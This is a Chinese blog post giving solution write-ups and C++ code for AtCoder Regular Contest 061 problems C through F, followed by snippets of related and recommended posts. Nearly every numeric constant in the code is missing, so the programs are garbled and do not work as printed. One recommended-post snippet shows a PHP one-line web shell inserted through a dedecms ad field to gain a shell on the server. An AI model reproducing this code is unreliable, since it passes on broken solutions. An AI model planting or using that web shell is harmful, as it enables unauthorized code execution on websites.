Link:

ARC061 传送门

C:

暴力$dfs$就好了

#include <bits/stdc++.h>

using namespace std;
typedef long long ll;
ll n,res=;
int dgt[],cnt; void dfs(int dep,ll sum)
{
if(dep==cnt){res+=sum;return;}
for(int i=dep+;i<=cnt;i++)
{
ll t=;
for(int j=dep+;j<=i;j++)
t=t*+dgt[j];
dfs(i,sum+t);
}
} int main()
{
scanf("%lld",&n);
for(;n;n/=) dgt[++cnt]=n%;
reverse(dgt+,dgt+cnt+);dfs(,);
printf("%lld",res);
return ;
}

Problem C

D:

没有办法直接上暴力,但可以采取计算贡献的方式:

每个有色点都对周围的9个正方形恰好有1点贡献

将$9*k$个正方形用其左上角的坐标表示,排序后将相同的合并就是该正方形的个数了

最后用总的减去个数为$[1,9]$的就是个数为0的个数了

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef long long ll;
typedef pair<int,int> P;
const int MAXN=1e5+;
P sqr[MAXN*];
ll sum=,cnt[];
int n,m,k,x,y,tot;
int dx[]={-,-,-,-,-,-,,,};
int dy[]={-,-,,-,-,,-,-,}; int main()
{
scanf("%d%d%d",&n,&m,&k);
for(int i=;i<=k;i++)
{
scanf("%d%d",&x,&y);
for(int j=;j<;j++)
{
int fx=x+dx[j],fy=y+dy[j];
if(fx>&&fy>&&fx<=n-&&fy<=m-)
sqr[++tot]=P(fx,fy);
}
} sort(sqr+,sqr+tot+);
int cur=;
for(int i=;i<=tot;i++)
if(sqr[i]==sqr[i-]) cur++;
else cnt[cur]++,cur=;
if(k) cnt[cur]++;//不要忘记对末尾的处理 for(int i=;i<=;i++) sum+=cnt[i];
cnt[]=1ll*(m-)*(n-)-sum;
for(int i=;i<;i++) printf("%lld\n",cnt[i]);
return ;
}

Problem D

E:

先来说说正解:拆点最短路

在每个站点中,对于每一个其能转换到的公司都新设立一个站点,并建立一个总站

也就是说,对于边$(u,v,c)$,建边$(u,u[c],1),(v,v[c],1),(u[c],v[c],0)$

这样体现了是否转换公司的抉择,直接在新图上求最短路就好了

但注意最后答案要除以2,毕竟这样建图每转换一次其实计算了2次1

我的做法又是极为感性的

在每个点都用一个$set$维护当前能达到最短距离时的末尾公司名,转移时贪心

感觉没什么问题,但不知道为什么在距离相同时一定要先处理编号较大的节点?请各位神犇们指点啊……

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef pair<int,int> P;
const int MAXN=1e5+,INF=<<;
int n,m,x,y,z,dist[MAXN];
set<int> s[MAXN];
vector<P> G[MAXN];
//必须要用set,因为可能dist最小时有多种公司供选择
struct cmp
{//一定要编号大的先处理(原因未知)
bool operator() (const P& a,const P& b)
{return a.X!=b.X?a.X>b.X:a.Y<b.Y;}
}; int main()
{
scanf("%d%d",&n,&m);
for(int i=;i<=m;i++)
{
scanf("%d%d%d",&x,&y,&z);
G[x].push_back(P(y,z));G[y].push_back(P(x,z));
} priority_queue<P,vector<P>,cmp > q;
for(int i=;i<MAXN;i++) dist[i]=INF;
dist[]=;q.push(P(,));
while(!q.empty())
{
P t=q.top();q.pop();
int u=t.Y,cost=t.X,tmp;
if(cost>dist[u]) continue;
for(int i=;i<G[u].size();i++)
{
int v=G[u][i].X,col=G[u][i].Y;
tmp=dist[u]+(!s[u].count(col));
if(tmp==dist[v]) s[v].insert(col);
else if(tmp<dist[v])
{
s[v].clear();s[v].insert(col);
dist[v]=tmp,q.push(P(dist[v],v));
}
}
}
printf("%d",(dist[n]==INF)?-:dist[n]);
return ;
}

Problem E

F:

设游戏结束前使用了$x$张$b$,$y$张$c$

可以发现最终一共使用了$n+x+y$张卡片,且由于最后一张一定是$a$可以不用考虑

因此可以比较容易的写出一下的式子:

$res=\sum_{p=0}^{m+k} C_{n−1+x+y}^{n-1}*3^{m+k−x−y}*\sum_{0\le x\le m,0\le y\le k}[x+y=p]C_{p}^{x}$

为了将计算的时间降到$O(n)$,我们可以用递推的方式优化$\sum C_{p}^{x}$

设$f(i)$表示$p=i$时该式的值,发现递推有三个阶段(假设$m<k$):

1、$i<m$时$f(i)=\sum_{j=0}^{i} C_i^j$

2、$m\le i<k$时$f(i)=\sum_{j=0}^{m} C_i^j$

3、$k\le i$时$f(i)=\sum_{j=i-k}^m C_i^j$

将这些式子放到杨辉三角形上可以发现:

1阶段时$f(i)=f(i-1)*2$(二项式系数和的基本结论)

2阶段时$f(i)=f(i-1)*2-C_{i-1}^m$(减掉右边界的值)

3阶段时$f(i)=f(i-1)*2-C_{i-1}^m-C_{i-1}^{i-1-k}$(减掉左右边界的值)

#include <bits/stdc++.h>

using namespace std;
typedef long long ll;
const int MAXN=(3e5+)*,MOD=1e9+;
ll res=,cur=;
int n,m,k,fac[MAXN],inv[MAXN]; ll quick_pow(ll a,ll b)
{
ll ret=;
for(;b;b>>=,a=a*a%MOD)
if(b&) ret=ret*a%MOD;
return ret;
}
int C(int a,int b)
{if(a<b||b<) return ;return 1ll*fac[a]*inv[b]%MOD*inv[a-b]%MOD;} int main()
{
scanf("%d%d%d",&n,&m,&k);
fac[]=;
for(int i=;i<MAXN;i++)
fac[i]=1ll*fac[i-]*i%MOD;
inv[MAXN-]=quick_pow(fac[MAXN-],MOD-);
for(int i=MAXN-;i>=;i--)
inv[i]=1ll*inv[i+]*(i+)%MOD; for(int i=n;i<=n+m+k;i++)
(res+=C(i-,n-)*cur%MOD*quick_pow(,n+m+k-i)%MOD)%=MOD,
cur=(*cur-C(i-n,m)+MOD-C(i-n,i-n-k)+MOD)%MOD;
printf("%lld",res);
return ;
}

Problem F

优化方式涨姿势了

[Atcoder Regular Contest 061] Tutorial的更多相关文章

  1. AtCoder Regular Contest 061

    AtCoder Regular Contest 061 C.Many Formulas 题意 给长度不超过\(10\)且由\(0\)到\(9\)数字组成的串S. 可以在两数字间放\(+\)号. 求所有 ...

  2. AtCoder Regular Contest 061 DSnuke's Coloring

    http://arc061.contest.atcoder.jp/tasks/arc061_b 题意: H行W列的矩阵中,然后挖了n个洞,输出j(0-9)行,对于第i行输出,有多少个3*3区域中有i个 ...

  3. [Atcoder Regular Contest 060] Tutorial

    Link: ARC060 传送门 C: 由于难以维护和更新平均数的值: $Average->Sum/Num$ 这样我们只要用$dp[i][j][sum]$维护前$i$个数中取$j$个,且和为$s ...

  4. Atcoder Regular Contest 061 D - Card Game for Three(组合数学)

    洛谷题面传送门 & Atcoder 题面传送门 首先考虑合法的排列长什么样,我们考虑将每次操作者的编号记录下来形成一个序列(第一次 A 操作不计入序列),那么显然这个序列中必须恰好含有 \(n ...

  5. [Atcoder Regular Contest 065] Tutorial

    Link: ARC065 传送门 C: 最好采取逆序贪心,否则要多考虑好几种情况 (从前往后贪心的话不能无脑选“dreamer”,"er"可能为"erase"/ ...

  6. [Atcoder Regular Contest 064] Tutorial

    Link: ARC064 传送门 C: 贪心+对边界的特殊处理 #include <bits/stdc++.h> using namespace std; typedef long lon ...

  7. [Atcoder Regular Contest 063] Tutorial

    Link: ARC063 传送门 C: 将每种颜色的连续出现称为一段,寻找总段数即可 #include <bits/stdc++.h> using namespace std; ,len; ...

  8. [Atcoder Regular Contest 062] Tutorial

    Link: ARC 062 传送门 C: 每次判断增加a/b哪个合法即可 并不用判断两个都合法时哪个更优,因为此时两者答案必定相同 #include <bits/stdc++.h> usi ...

  9. AtCoder Regular Contest 061 E - すぬけ君の地下鉄旅行【最短路】

    具体题解又要搬大哥的了,嘿嘿~ 请点击:G点我 这道题目的难点就是同一家公司的路直接走不需要再花费,然后多了一个公司这个东西,这个不像是边的副权值(瞎说的)之类的东西,这是对于路来说的,路的属性... ...

随机推荐

  1. 【TYVJ】P1038 忠诚

    [算法]线段树 #include<cstdio> #include<algorithm> using namespace std; ]; ,inf=0x3f3f3f3f; in ...

  2. spring 那点事

    Spring核心功能 DI(IOC) 何谓DI(IOC) DI(依赖注入)是spring的核心功能之一. Dependency Injection 和 Inversion of Control 其实就 ...

  3. Commonjs,AMD,CMD和UMD的差异

    CommonJS 一种服务器端模块化的规范,Nodejs实现了这种规范,所以就说Nodejs支持CommonJS. CommonJS分为三部分: require 模块加载 exports 模块导出 m ...

  4. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  5. 哈希表(一):解决hash冲突的几种方法

    (一)线性探测法 线性探测法是最简单的处理冲突的方法. (1)插入元素:插入元素时,如果发生冲突,算法将从该槽位向后遍历哈希表,直到找到表中的下一个空槽,并将该值放入到空槽当中. (2)查找元素:查找 ...

  6. http状态码+http请求方式

    一.http状态码 2开头 (请求成功)表示成功处理了请求的状态代码. 200   (成功)  服务器已成功处理了请求. 通常,这表示服务器提供了请求的网页. 201   (已创建)  请求成功并且服 ...

  7. HDU 6183 Color it 线段树

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6183 题意: 有四种操作: 0:清除所有点 1 x y c : 给点(x, y)添加一种颜色c(颜色不 ...

  8. 升级OS10.11系统后 Xcode6.4的变化少了个按钮 could not launch “Xcode” Xcode 插件安装

    升级OS10.11系统后 Xcode6.4的变化少了个按钮 could not launch “Xcode”  Xcode 插件安装 A:  升级10.11后Xcode 左上角模拟器选择菜单不在了   ...

  9. Python Flask 配置文件

    1. 什么是配置文件? 就是当程序调用的一些参数,文件路径,方法或者类放到一个文件中, 当下次需要修改的一个参数的时候,不用再从所有关联的程序中找到该参数挨个修改, 比较繁琐.像Django中,程序启 ...

  10. 【lua】可变长参数

    lua可变长参数 在lua中可以使用...表示可变长参数,在函数内通过表访问可变参数 function rest(...) -- 把可变参数放在表类 local args = { ... } prin ...